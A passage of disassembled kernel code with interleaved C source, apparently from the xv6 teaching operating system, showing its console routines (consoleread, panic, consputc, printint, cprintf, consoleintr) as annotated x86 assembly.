80100297: 31 c0 xor %eax,%eax 80100299: 85 db test %ebx,%ebx 8010029b: 0f 8e a1 00 00 00 jle 80100342 <consoleread+0xd2> while(input.r == input.w){ 801002a1: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002a7: 39 15 a4 ff 10 80 cmp %edx,0x8010ffa4 801002ad: 74 2c je 801002db <consoleread+0x6b> 801002af: eb 5f jmp 80100310 <consoleread+0xa0> 801002b1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi if(myproc()->killed){ release(&cons.lock); ilock(ip); return -1; } sleep(&input.r, &cons.lock); 801002b8: 83 ec 08 sub $0x8,%esp 801002bb: 68 20 a5 10 80 push $0x8010a520 801002c0: 68 a0 ff 10 80 push $0x8010ffa0 801002c5: e8 b6 3a 00 00 call 80103d80 <sleep> while(input.r == input.w){ 801002ca: 8b 15 a0 ff 10 80 mov 0x8010ffa0,%edx 801002d0: 83 c4 10 add $0x10,%esp 801002d3: 3b 15 a4 ff 10 80 cmp 0x8010ffa4,%edx 801002d9: 75 35 jne 80100310 <consoleread+0xa0> if(myproc()->killed){ 801002db: e8 00 35 00 00 call 801037e0 <myproc> 801002e0: 8b 40 24 mov 0x24(%eax),%eax 801002e3: 85 c0 test %eax,%eax 801002e5: 74 d1 je 801002b8 <consoleread+0x48> release(&cons.lock); 801002e7: 83 ec 0c sub $0xc,%esp 801002ea: 68 20 a5 10 80 push $0x8010a520 801002ef: e8 dc 41 00 00 call 801044d0 <release> ilock(ip); 801002f4: 89 3c 24 mov %edi,(%esp) 801002f7: e8 84 13 00 00 call 80101680 <ilock> return -1; 801002fc: 83 c4 10 add $0x10,%esp } release(&cons.lock); ilock(ip); return target - n; } 801002ff: 8d 65 f4 lea -0xc(%ebp),%esp return -1; 80100302: b8 ff ff ff ff mov $0xffffffff,%eax } 80100307: 5b pop %ebx 80100308: 5e pop %esi 80100309: 5f pop %edi 8010030a: 5d pop %ebp 8010030b: c3 ret 8010030c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi c = input.buf[input.r++ % INPUT_BUF]; 80100310: 8d 42 01 lea 0x1(%edx),%eax 80100313: a3 a0 ff 10 80 mov %eax,0x8010ffa0 80100318: 89 d0 mov %edx,%eax 8010031a: 83 e0 7f and $0x7f,%eax 8010031d: 0f be 80 20 ff 10 80 movsbl -0x7fef00e0(%eax),%eax if(c == C('D')){ // EOF 80100324: 83 f8 04 cmp $0x4,%eax 80100327: 74 3f je 80100368 <consoleread+0xf8> *dst++ = c; 80100329: 83 c6 01 add $0x1,%esi --n; 8010032c: 83 eb 01 sub $0x1,%ebx if(c == '\n') 8010032f: 83 f8 0a cmp $0xa,%eax *dst++ = c; 80100332: 88 46 ff mov %al,-0x1(%esi) if(c == '\n') 80100335: 74 43 je 8010037a <consoleread+0x10a> while(n > 0){ 80100337: 85 db test %ebx,%ebx 80100339: 0f 85 62 ff ff ff jne 801002a1 <consoleread+0x31> 8010033f: 8b 45 10 mov 0x10(%ebp),%eax release(&cons.lock); 80100342: 83 ec 0c sub $0xc,%esp 80100345: 89 45 e4 mov %eax,-0x1c(%ebp) 80100348: 68 20 a5 10 80 push $0x8010a520 8010034d: e8 7e 41 00 00 call 801044d0 <release> ilock(ip); 80100352: 89 3c 24 mov %edi,(%esp) 80100355: e8 26 13 00 00 call 80101680 <ilock> return target - n; 8010035a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010035d: 83 c4 10 add $0x10,%esp } 80100360: 8d 65 f4 lea -0xc(%ebp),%esp 80100363: 5b pop %ebx 80100364: 5e pop %esi 80100365: 5f pop %edi 80100366: 5d pop %ebp 80100367: c3 ret 80100368: 8b 45 10 mov 0x10(%ebp),%eax 8010036b: 29 d8 sub %ebx,%eax if(n < target){ 8010036d: 3b 5d 10 cmp 0x10(%ebp),%ebx 80100370: 73 d0 jae 80100342 <consoleread+0xd2> input.r--; 80100372: 89 15 a0 ff 10 80 mov %edx,0x8010ffa0 80100378: eb c8 jmp 80100342 <consoleread+0xd2> 8010037a: 8b 45 10 mov 0x10(%ebp),%eax 8010037d: 29 d8 sub %ebx,%eax 8010037f: eb c1 jmp 80100342 <consoleread+0xd2> 80100381: eb 0d jmp 80100390 <panic> 80100383: 90 nop 80100384: 90 nop 80100385: 90 nop 80100386: 90 nop 80100387: 90 nop 80100388: 90 nop 80100389: 90 nop 8010038a: 90 nop 8010038b: 90 nop 8010038c: 90 nop 8010038d: 90 nop 8010038e: 90 nop 8010038f: 90 nop 80100390 <panic>: { 80100390: 55 push %ebp 80100391: 89 e5 mov %esp,%ebp 80100393: 56 push %esi 80100394: 53 push %ebx 80100395: 83 ec 30 sub $0x30,%esp } static inline void cli(void) { asm volatile("cli"); 80100398: fa cli cons.locking = 0; 80100399: c7 05 54 a5 10 80 00 movl $0x0,0x8010a554 801003a0: 00 00 00 getcallerpcs(&s, pcs); 801003a3: 8d 5d d0 lea -0x30(%ebp),%ebx 801003a6: 8d 75 f8 lea -0x8(%ebp),%esi cprintf("lapicid %d: panic: ", lapicid()); 801003a9: e8 82 23 00 00 call 80102730 <lapicid> 801003ae: 83 ec 08 sub $0x8,%esp 801003b1: 50 push %eax 801003b2: 68 2d 70 10 80 push $0x8010702d 801003b7: e8 a4 02 00 00 call 80100660 <cprintf> cprintf(s); 801003bc: 58 pop %eax 801003bd: ff 75 08 pushl 0x8(%ebp) 801003c0: e8 9b 02 00 00 call 80100660 <cprintf> cprintf("\n"); 801003c5: c7 04 24 21 76 10 80 movl $0x80107621,(%esp) 801003cc: e8 8f 02 00 00 call 80100660 <cprintf> getcallerpcs(&s, pcs); 801003d1: 5a pop %edx 801003d2: 8d 45 08 lea 0x8(%ebp),%eax 801003d5: 59 pop %ecx 801003d6: 53 push %ebx 801003d7: 50 push %eax 801003d8: e8 13 3f 00 00 call 801042f0 <getcallerpcs> 801003dd: 83 c4 10 add $0x10,%esp cprintf(" %p", pcs[i]); 801003e0: 83 ec 08 sub $0x8,%esp 801003e3: ff 33 pushl (%ebx) 801003e5: 83 c3 04 add $0x4,%ebx 801003e8: 68 41 70 10 80 push $0x80107041 801003ed: e8 6e 02 00 00 call 80100660 <cprintf> for(i=0; i<10; i++) 801003f2: 83 c4 10 add $0x10,%esp 801003f5: 39 f3 cmp %esi,%ebx 801003f7: 75 e7 jne 801003e0 <panic+0x50> panicked = 1; // freeze other CPU 801003f9: c7 05 58 a5 10 80 01 movl $0x1,0x8010a558 80100400: 00 00 00 80100403: eb fe jmp 80100403 <panic+0x73> 80100405: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100409: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80100410 <consputc>: if(panicked){ 80100410: 8b 0d 58 a5 10 80 mov 0x8010a558,%ecx 80100416: 85 c9 test %ecx,%ecx 80100418: 74 06 je 80100420 <consputc+0x10> 8010041a: fa cli 8010041b: eb fe jmp 8010041b <consputc+0xb> 8010041d: 8d 76 00 lea 0x0(%esi),%esi { 80100420: 55 push %ebp 80100421: 89 e5 mov %esp,%ebp 80100423: 57 push %edi 80100424: 56 push %esi 80100425: 53 push %ebx 80100426: 89 c6 mov %eax,%esi 80100428: 83 ec 0c sub $0xc,%esp if(c == BACKSPACE){ 8010042b: 3d 00 01 00 00 cmp $0x100,%eax 80100430: 0f 84 b1 00 00 00 je 801004e7 <consputc+0xd7> uartputc(c); 80100436: 83 ec 0c sub $0xc,%esp 80100439: 50 push %eax 8010043a: e8 c1 57 00 00 call 80105c00 <uartputc> 8010043f: 83 c4 10 add $0x10,%esp asm volatile("out %0,%1" : : "a" (data), "d" (port)); 80100442: bb d4 03 00 00 mov $0x3d4,%ebx 80100447: b8 0e 00 00 00 mov $0xe,%eax 8010044c: 89 da mov %ebx,%edx 8010044e: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 8010044f: b9 d5 03 00 00 mov $0x3d5,%ecx 80100454: 89 ca mov %ecx,%edx 80100456: ec in (%dx),%al pos = inb(CRTPORT+1) << 8; 80100457: 0f b6 c0 movzbl %al,%eax asm volatile("out %0,%1" : : "a" (data), "d" (port)); 8010045a: 89 da mov %ebx,%edx 8010045c: c1 e0 08 shl $0x8,%eax 8010045f: 89 c7 mov %eax,%edi 80100461: b8 0f 00 00 00 mov $0xf,%eax 80100466: ee out %al,(%dx) asm volatile("in %1,%0" : "=a" (data) : "d" (port)); 80100467: 89 ca mov %ecx,%edx 80100469: ec in (%dx),%al 8010046a: 0f b6 d8 movzbl %al,%ebx pos |= inb(CRTPORT+1); 8010046d: 09 fb or %edi,%ebx if(c == '\n') 8010046f: 83 fe 0a cmp $0xa,%esi 80100472: 0f 84 f3 00 00 00 je 8010056b <consputc+0x15b> else if(c == BACKSPACE){ 80100478: 81 fe 00 01 00 00 cmp $0x100,%esi 8010047e: 0f 84 d7 00 00 00 je 8010055b <consputc+0x14b> crt[pos++] = (c&0xff) | 0x0700; // black on white 80100484: 89 f0 mov %esi,%eax 80100486: 0f b6 c0 movzbl %al,%eax 80100489: 80 cc 07 or $0x7,%ah 8010048c: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 80100493: 80 80100494: 83 c3 01 add $0x1,%ebx if(pos < 0 || pos > 25*80) 80100497: 81 fb d0 07 00 00 cmp $0x7d0,%ebx 8010049d: 0f 8f ab 00 00 00 jg 8010054e <consputc+0x13e> if((pos/80) >= 24){ // Scroll up. 801004a3: 81 fb 7f 07 00 00 cmp $0x77f,%ebx 801004a9: 7f 66 jg 80100511 <consputc+0x101> asm volatile("out %0,%1" : : "a" (data), "d" (port)); 801004ab: be d4 03 00 00 mov $0x3d4,%esi 801004b0: b8 0e 00 00 00 mov $0xe,%eax 801004b5: 89 f2 mov %esi,%edx 801004b7: ee out %al,(%dx) 801004b8: b9 d5 03 00 00 mov $0x3d5,%ecx outb(CRTPORT+1, pos>>8); 801004bd: 89 d8 mov %ebx,%eax 801004bf: c1 f8 08 sar $0x8,%eax 801004c2: 89 ca mov %ecx,%edx 801004c4: ee out %al,(%dx) 801004c5: b8 0f 00 00 00 mov $0xf,%eax 801004ca: 89 f2 mov %esi,%edx 801004cc: ee out %al,(%dx) 801004cd: 89 d8 mov %ebx,%eax 801004cf: 89 ca mov %ecx,%edx 801004d1: ee out %al,(%dx) crt[pos] = ' ' | 0x0700; 801004d2: b8 20 07 00 00 mov $0x720,%eax 801004d7: 66 89 84 1b 00 80 0b mov %ax,-0x7ff48000(%ebx,%ebx,1) 801004de: 80 } 801004df: 8d 65 f4 lea -0xc(%ebp),%esp 801004e2: 5b pop %ebx 801004e3: 5e pop %esi 801004e4: 5f pop %edi 801004e5: 5d pop %ebp 801004e6: c3 ret uartputc('\b'); uartputc(' '); uartputc('\b'); 801004e7: 83 ec 0c sub $0xc,%esp 801004ea: 6a 08 push $0x8 801004ec: e8 0f 57 00 00 call 80105c00 <uartputc> 801004f1: c7 04 24 20 00 00 00 movl $0x20,(%esp) 801004f8: e8 03 57 00 00 call 80105c00 <uartputc> 801004fd: c7 04 24 08 00 00 00 movl $0x8,(%esp) 80100504: e8 f7 56 00 00 call 80105c00 <uartputc> 80100509: 83 c4 10 add $0x10,%esp 8010050c: e9 31 ff ff ff jmp 80100442 <consputc+0x32> memmove(crt, crt+80, sizeof(crt[0])*23*80); 80100511: 52 push %edx 80100512: 68 60 0e 00 00 push $0xe60 pos -= 80; 80100517: 83 eb 50 sub $0x50,%ebx memmove(crt, crt+80, sizeof(crt[0])*23*80); 8010051a: 68 a0 80 0b 80 push $0x800b80a0 8010051f: 68 00 80 0b 80 push $0x800b8000 80100524: e8 a7 40 00 00 call 801045d0 <memmove> memset(crt+pos, 0, sizeof(crt[0])*(24*80 - pos)); 80100529: b8 80 07 00 00 mov $0x780,%eax 8010052e: 83 c4 0c add $0xc,%esp 80100531: 29 d8 sub %ebx,%eax 80100533: 01 c0 add %eax,%eax 80100535: 50 push %eax 80100536: 8d 04 1b lea (%ebx,%ebx,1),%eax 80100539: 6a 00 push $0x0 8010053b: 2d 00 80 f4 7f sub $0x7ff48000,%eax 80100540: 50 push %eax 80100541: e8 da 3f 00 00 call 80104520 <memset> 80100546: 83 c4 10 add $0x10,%esp 80100549: e9 5d ff ff ff jmp 801004ab <consputc+0x9b> panic("pos under/overflow"); 8010054e: 83 ec 0c sub $0xc,%esp 80100551: 68 45 70 10 80 push $0x80107045 80100556: e8 35 fe ff ff call 80100390 <panic> if(pos > 0) --pos; 8010055b: 85 db test %ebx,%ebx 8010055d: 0f 84 48 ff ff ff je 801004ab <consputc+0x9b> 80100563: 83 eb 01 sub $0x1,%ebx 80100566: e9 2c ff ff ff jmp 80100497 <consputc+0x87> pos += 80 - pos%80; 8010056b: 89 d8 mov %ebx,%eax 8010056d: b9 50 00 00 00 mov $0x50,%ecx 80100572: 99 cltd 80100573: f7 f9 idiv %ecx 80100575: 29 d1 sub %edx,%ecx 80100577: 01 cb add %ecx,%ebx 80100579: e9 19 ff ff ff jmp 80100497 <consputc+0x87> 8010057e: 66 90 xchg %ax,%ax 80100580 <printint>: { 80100580: 55 push %ebp 80100581: 89 e5 mov %esp,%ebp 80100583: 57 push %edi 80100584: 56 push %esi 80100585: 53 push %ebx 80100586: 89 d3 mov %edx,%ebx 80100588: 83 ec 2c sub $0x2c,%esp if(sign && (sign = xx < 0)) 8010058b: 85 c9 test %ecx,%ecx { 8010058d: 89 4d d4 mov %ecx,-0x2c(%ebp) if(sign && (sign = xx < 0)) 80100590: 74 04 je 80100596 <printint+0x16> 80100592: 85 c0 test %eax,%eax 80100594: 78 5a js 801005f0 <printint+0x70> x = xx; 80100596: c7 45 d4 00 00 00 00 movl $0x0,-0x2c(%ebp) i = 0; 8010059d: 31 c9 xor %ecx,%ecx 8010059f: 8d 75 d7 lea -0x29(%ebp),%esi 801005a2: eb 06 jmp 801005aa <printint+0x2a> 801005a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi buf[i++] = digits[x % base]; 801005a8: 89 f9 mov %edi,%ecx 801005aa: 31 d2 xor %edx,%edx 801005ac: 8d 79 01 lea 0x1(%ecx),%edi 801005af: f7 f3 div %ebx 801005b1: 0f b6 92 70 70 10 80 movzbl -0x7fef8f90(%edx),%edx }while((x /= base) != 0); 801005b8: 85 c0 test %eax,%eax buf[i++] = digits[x % base]; 801005ba: 88 14 3e mov %dl,(%esi,%edi,1) }while((x /= base) != 0); 801005bd: 75 e9 jne 801005a8 <printint+0x28> if(sign) 801005bf: 8b 45 d4 mov -0x2c(%ebp),%eax 801005c2: 85 c0 test %eax,%eax 801005c4: 74 08 je 801005ce <printint+0x4e> buf[i++] = '-'; 801005c6: c6 44 3d d8 2d movb $0x2d,-0x28(%ebp,%edi,1) 801005cb: 8d 79 02 lea 0x2(%ecx),%edi 801005ce: 8d 5c 3d d7 lea -0x29(%ebp,%edi,1),%ebx 801005d2: 8d b6 00 00 00 00 lea 0x0(%esi),%esi consputc(buf[i]); 801005d8: 0f be 03 movsbl (%ebx),%eax 801005db: 83 eb 01 sub $0x1,%ebx 801005de: e8 2d fe ff ff call 80100410 <consputc> while(--i >= 0) 801005e3: 39 f3 cmp %esi,%ebx 801005e5: 75 f1 jne 801005d8 <printint+0x58> } 801005e7: 83 c4 2c add $0x2c,%esp 801005ea: 5b pop %ebx 801005eb: 5e pop %esi 801005ec: 5f pop %edi 801005ed: 5d pop %ebp 801005ee: c3 ret 801005ef: 90 nop x = -xx; 801005f0: f7 d8 neg %eax 801005f2: eb a9 jmp 8010059d <printint+0x1d> 801005f4: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801005fa: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80100600 <consolewrite>: int consolewrite(struct inode *ip, char *buf, int n) { 80100600: 55 push %ebp 80100601: 89 e5 mov %esp,%ebp 80100603: 57 push %edi 80100604: 56 push %esi 80100605: 53 push %ebx 80100606: 83 ec 18 sub $0x18,%esp 80100609: 8b 75 10 mov 0x10(%ebp),%esi int i; iunlock(ip); 8010060c: ff 75 08 pushl 0x8(%ebp) 8010060f: e8 4c 11 00 00 call 80101760 <iunlock> acquire(&cons.lock); 80100614: c7 04 24 20 a5 10 80 movl $0x8010a520,(%esp) 8010061b: e8 f0 3d 00 00 call 80104410 <acquire> for(i = 0; i < n; i++) 80100620: 83 c4 10 add $0x10,%esp 80100623: 85 f6 test %esi,%esi 80100625: 7e 18 jle 8010063f <consolewrite+0x3f> 80100627: 8b 7d 0c mov 0xc(%ebp),%edi 8010062a: 8d 1c 37 lea (%edi,%esi,1),%ebx 8010062d: 8d 76 00 lea 0x0(%esi),%esi consputc(buf[i] & 0xff); 80100630: 0f b6 07 movzbl (%edi),%eax 80100633: 83 c7 01 add $0x1,%edi 80100636: e8 d5 fd ff ff call 80100410 <consputc> for(i = 0; i < n; i++) 8010063b: 39 fb cmp %edi,%ebx 8010063d: 75 f1 jne 80100630 <consolewrite+0x30> release(&cons.lock); 8010063f: 83 ec 0c sub $0xc,%esp 80100642: 68 20 a5 10 80 push $0x8010a520 80100647: e8 84 3e 00 00 call 801044d0 <release> ilock(ip); 8010064c: 58 pop %eax 8010064d: ff 75 08 pushl 0x8(%ebp) 80100650: e8 2b 10 00 00 call 80101680 <ilock> return n; } 80100655: 8d 65 f4 lea -0xc(%ebp),%esp 80100658: 89 f0 mov %esi,%eax 8010065a: 5b pop %ebx 8010065b: 5e pop %esi 8010065c: 5f pop %edi 8010065d: 5d pop %ebp 8010065e: c3 ret 8010065f: 90 nop 80100660 <cprintf>: { 80100660: 55 push %ebp 80100661: 89 e5 mov %esp,%ebp 80100663: 57 push %edi 80100664: 56 push %esi 80100665: 53 push %ebx 80100666: 83 ec 1c sub $0x1c,%esp locking = cons.locking; 80100669: a1 54 a5 10 80 mov 0x8010a554,%eax if(locking) 8010066e: 85 c0 test %eax,%eax locking = cons.locking; 80100670: 89 45 dc mov %eax,-0x24(%ebp) if(locking) 80100673: 0f 85 6f 01 00 00 jne 801007e8 <cprintf+0x188> if (fmt == 0) 80100679: 8b 45 08 mov 0x8(%ebp),%eax 8010067c: 85 c0 test %eax,%eax 8010067e: 89 c7 mov %eax,%edi 80100680: 0f 84 77 01 00 00 je 801007fd <cprintf+0x19d> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100686: 0f b6 00 movzbl (%eax),%eax argp = (uint*)(void*)(&fmt + 1); 80100689: 8d 4d 0c lea 0xc(%ebp),%ecx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 8010068c: 31 db xor %ebx,%ebx argp = (uint*)(void*)(&fmt + 1); 8010068e: 89 4d e4 mov %ecx,-0x1c(%ebp) for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100691: 85 c0 test %eax,%eax 80100693: 75 56 jne 801006eb <cprintf+0x8b> 80100695: eb 79 jmp 80100710 <cprintf+0xb0> 80100697: 89 f6 mov %esi,%esi 80100699: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi c = fmt[++i] & 0xff; 801006a0: 0f b6 16 movzbl (%esi),%edx if(c == 0) 801006a3: 85 d2 test %edx,%edx 801006a5: 74 69 je 80100710 <cprintf+0xb0> 801006a7: 83 c3 02 add $0x2,%ebx switch(c){ 801006aa: 83 fa 70 cmp $0x70,%edx 801006ad: 8d 34 1f lea (%edi,%ebx,1),%esi 801006b0: 0f 84 84 00 00 00 je 8010073a <cprintf+0xda> 801006b6: 7f 78 jg 80100730 <cprintf+0xd0> 801006b8: 83 fa 25 cmp $0x25,%edx 801006bb: 0f 84 ff 00 00 00 je 801007c0 <cprintf+0x160> 801006c1: 83 fa 64 cmp $0x64,%edx 801006c4: 0f 85 8e 00 00 00 jne 80100758 <cprintf+0xf8> printint(*argp++, 10, 1); 801006ca: 8b 45 e4 mov -0x1c(%ebp),%eax 801006cd: ba 0a 00 00 00 mov $0xa,%edx 801006d2: 8d 48 04 lea 0x4(%eax),%ecx 801006d5: 8b 00 mov (%eax),%eax 801006d7: 89 4d e4 mov %ecx,-0x1c(%ebp) 801006da: b9 01 00 00 00 mov $0x1,%ecx 801006df: e8 9c fe ff ff call 80100580 <printint> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006e4: 0f b6 06 movzbl (%esi),%eax 801006e7: 85 c0 test %eax,%eax 801006e9: 74 25 je 80100710 <cprintf+0xb0> 801006eb: 8d 53 01 lea 0x1(%ebx),%edx if(c != '%'){ 801006ee: 83 f8 25 cmp $0x25,%eax 801006f1: 8d 34 17 lea (%edi,%edx,1),%esi 801006f4: 74 aa je 801006a0 <cprintf+0x40> 801006f6: 89 55 e0 mov %edx,-0x20(%ebp) consputc(c); 801006f9: e8 12 fd ff ff call 80100410 <consputc> for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 801006fe: 0f b6 06 movzbl (%esi),%eax continue; 80100701: 8b 55 e0 mov -0x20(%ebp),%edx 80100704: 89 d3 mov %edx,%ebx for(i = 0; (c = fmt[i] & 0xff) != 0; i++){ 80100706: 85 c0 test %eax,%eax 80100708: 75 e1 jne 801006eb <cprintf+0x8b> 8010070a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi if(locking) 80100710: 8b 45 dc mov -0x24(%ebp),%eax 80100713: 85 c0 test %eax,%eax 80100715: 74 10 je 80100727 <cprintf+0xc7> release(&cons.lock); 80100717: 83 ec 0c sub $0xc,%esp 8010071a: 68 20 a5 10 80 push $0x8010a520 8010071f: e8 ac 3d 00 00 call 801044d0 <release> 80100724: 83 c4 10 add $0x10,%esp } 80100727: 8d 65 f4 lea -0xc(%ebp),%esp 8010072a: 5b pop %ebx 8010072b: 5e pop %esi 8010072c: 5f pop %edi 8010072d: 5d pop %ebp 8010072e: c3 ret 8010072f: 90 nop switch(c){ 80100730: 83 fa 73 cmp $0x73,%edx 80100733: 74 43 je 80100778 <cprintf+0x118> 80100735: 83 fa 78 cmp $0x78,%edx 80100738: 75 1e jne 80100758 <cprintf+0xf8> printint(*argp++, 16, 0); 8010073a: 8b 45 e4 mov -0x1c(%ebp),%eax 8010073d: ba 10 00 00 00 mov $0x10,%edx 80100742: 8d 48 04 lea 0x4(%eax),%ecx 80100745: 8b 00 mov (%eax),%eax 80100747: 89 4d e4 mov %ecx,-0x1c(%ebp) 8010074a: 31 c9 xor %ecx,%ecx 8010074c: e8 2f fe ff ff call 80100580 <printint> break; 80100751: eb 91 jmp 801006e4 <cprintf+0x84> 80100753: 90 nop 80100754: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi consputc('%'); 80100758: b8 25 00 00 00 mov $0x25,%eax 8010075d: 89 55 e0 mov %edx,-0x20(%ebp) 80100760: e8 ab fc ff ff call 80100410 <consputc> consputc(c); 80100765: 8b 55 e0 mov -0x20(%ebp),%edx 80100768: 89 d0 mov %edx,%eax 8010076a: e8 a1 fc ff ff call 80100410 <consputc> break; 8010076f: e9 70 ff ff ff jmp 801006e4 <cprintf+0x84> 80100774: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi if((s = (char*)*argp++) == 0) 80100778: 8b 45 e4 mov -0x1c(%ebp),%eax 8010077b: 8b 10 mov (%eax),%edx 8010077d: 8d 48 04 lea 0x4(%eax),%ecx 80100780: 89 4d e0 mov %ecx,-0x20(%ebp) 80100783: 85 d2 test %edx,%edx 80100785: 74 49 je 801007d0 <cprintf+0x170> for(; *s; s++) 80100787: 0f be 02 movsbl (%edx),%eax if((s = (char*)*argp++) == 0) 8010078a: 89 4d e4 mov %ecx,-0x1c(%ebp) for(; *s; s++) 8010078d: 84 c0 test %al,%al 8010078f: 0f 84 4f ff ff ff je 801006e4 <cprintf+0x84> 80100795: 89 5d e4 mov %ebx,-0x1c(%ebp) 80100798: 89 d3 mov %edx,%ebx 8010079a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801007a0: 83 c3 01 add $0x1,%ebx consputc(*s); 801007a3: e8 68 fc ff ff call 80100410 <consputc> for(; *s; s++) 801007a8: 0f be 03 movsbl (%ebx),%eax 801007ab: 84 c0 test %al,%al 801007ad: 75 f1 jne 801007a0 <cprintf+0x140> if((s = (char*)*argp++) == 0) 801007af: 8b 45 e0 mov -0x20(%ebp),%eax 801007b2: 8b 5d e4 mov -0x1c(%ebp),%ebx 801007b5: 89 45 e4 mov %eax,-0x1c(%ebp) 801007b8: e9 27 ff ff ff jmp 801006e4 <cprintf+0x84> 801007bd: 8d 76 00 lea 0x0(%esi),%esi consputc('%'); 801007c0: b8 25 00 00 00 mov $0x25,%eax 801007c5: e8 46 fc ff ff call 80100410 <consputc> break; 801007ca: e9 15 ff ff ff jmp 801006e4 <cprintf+0x84> 801007cf: 90 nop s = "(null)"; 801007d0: ba 58 70 10 80 mov $0x80107058,%edx for(; *s; s++) 801007d5: 89 5d e4 mov %ebx,-0x1c(%ebp) 801007d8: b8 28 00 00 00 mov $0x28,%eax 801007dd: 89 d3 mov %edx,%ebx 801007df: eb bf jmp 801007a0 <cprintf+0x140> 801007e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi acquire(&cons.lock); 801007e8: 83 ec 0c sub $0xc,%esp 801007eb: 68 20 a5 10 80 push $0x8010a520 801007f0: e8 1b 3c 00 00 call 80104410 <acquire> 801007f5: 83 c4 10 add $0x10,%esp 801007f8: e9 7c fe ff ff jmp 80100679 <cprintf+0x19> panic("null fmt"); 801007fd: 83 ec 0c sub $0xc,%esp 80100800: 68 5f 70 10 80 push $0x8010705f 80100805: e8 86 fb ff ff call 80100390 <panic> 8010080a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 80100810 <consoleintr>: { 80100810: 55 push %ebp 80100811: 89 e5 mov %esp,%ebp 80100813: 57 push %edi 80100814: 56 push %esi 80100815: 53 push %ebx int c, doprocdump = 0; 80100816: 31 f6 xor %esi,%esi { 80100818: 83 ec 18 sub $0x18,%esp 8010081b: 8b 5d 08 mov 0x8(%ebp),%ebx acquire(&cons.lock); 8010081e: 68 20 a5 10 80 push $0x8010a520 80100823: e8 e8 3b 00 00 call 80104410 <acquire> while((c = getc()) >= 0){ 80100828: 83 c4 10 add $0x10,%esp 8010082b: 90 nop 8010082c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80100830: ff d3 call *%ebx 80100832: 85 c0 test %eax,%eax 80100834: 89 c7 mov %eax,%edi 80100836: 78 48 js 80100880 <consoleintr+0x70> switch(c){ 80100838: 83 ff 10 cmp $0x10,%edi 8010083b: 0f 84 e7 00 00 00 je 80100928 <consoleintr+0x118> 80100841: 7e 5d jle 801008a0 <consoleintr+0x90> 80100843: 83 ff 15 cmp $0x15,%edi 80100846: 0f 84 ec 00 00 00 je 80100938 <consoleintr+0x128> 8010084c: 83 ff 7f cmp $0x7f,%edi 8010084f: 75 54 jne 801008a5 <consoleintr+0x95> if(input.e != input.w){ 80100851: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 80100856: 3b 05 a4 ff 10 80 cmp 0x8010ffa4,%eax 8010085c: 74 d2 je 80100830 <consoleintr+0x20> input.e--; 8010085e: 83 e8 01 sub $0x1,%eax 80100861: a3 a8 ff 10 80 mov %eax,0x8010ffa8 consputc(BACKSPACE); 80100866: b8 00 01 00 00 mov $0x100,%eax 8010086b: e8 a0 fb ff ff call 80100410 <consputc> while((c = getc()) >= 0){ 80100870: ff d3 call *%ebx 80100872: 85 c0 test %eax,%eax 80100874: 89 c7 mov %eax,%edi 80100876: 79 c0 jns 80100838 <consoleintr+0x28> 80100878: 90 nop 80100879: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi release(&cons.lock); 80100880: 83 ec 0c sub $0xc,%esp 80100883: 68 20 a5 10 80 push $0x8010a520 80100888: e8 43 3c 00 00 call 801044d0 <release> if(doprocdump) { 8010088d: 83 c4 10 add $0x10,%esp 80100890: 85 f6 test %esi,%esi 80100892: 0f 85 f8 00 00 00 jne 80100990 <consoleintr+0x180> } 80100898: 8d 65 f4 lea -0xc(%ebp),%esp 8010089b: 5b pop %ebx 8010089c: 5e pop %esi 8010089d: 5f pop %edi 8010089e: 5d pop %ebp 8010089f: c3 ret switch(c){ 801008a0: 83 ff 08 cmp $0x8,%edi 801008a3: 74 ac je 80100851 <consoleintr+0x41> if(c != 0 && input.e-input.r < INPUT_BUF){ 801008a5: 85 ff test %edi,%edi 801008a7: 74 87 je 80100830 <consoleintr+0x20> 801008a9: a1 a8 ff 10 80 mov 0x8010ffa8,%eax 801008ae: 89 c2 mov %eax,%edx 801008b0: 2b 15 a0 ff 10 80 sub 0x8010ffa0,%edx 801008b6: 83 fa 7f cmp $0x7f,%edx 801008b9: 0f 87 71 ff ff ff ja 80100830 <consoleintr+0x20> 801008bf: 8d 50 01 lea 0x1(%eax),%edx 801008c2: 83 e0 7f and $0x7f,%eax c = (c == '\r') ? '\n' : c; 801008c5: 83 ff 0d cmp $0xd,%edi input.buf[input.e++ % INPUT_BUF] = c; 801008c8: 89 15 a8 ff 10 80 mov %edx,0x8010ffa8 c = (c == '\r') ? '\n' : c; 801008ce: 0f 84 cc 00 00 00 je 801009a0 <consoleintr+0x190> input.buf[input.e++ % INPUT_BUF] = c; 801008d4: 89 f9 mov %edi,%ecx 801008d6: 88 88 20 ff 10 80 mov %cl,-0x7fef00e0(%eax) consputc(c); 801008dc: 89 f8 mov %edi,%eax 801008de: e8 2d fb ff ff call 80100410 <consputc> if(c == '\n' || c == C('D') || input.e == input.r+INPUT_BUF){ 801008e3: 83 ff 0a cmp $0xa,%edi 801008e6: 0f 84 c5 00 00 00 je 801009b1 <consoleintr+0x1a1> 801008ec: 83 ff 04 cmp $0x4,%edi 801008ef: 0f 84 bc 00 00 00 je 801009b1 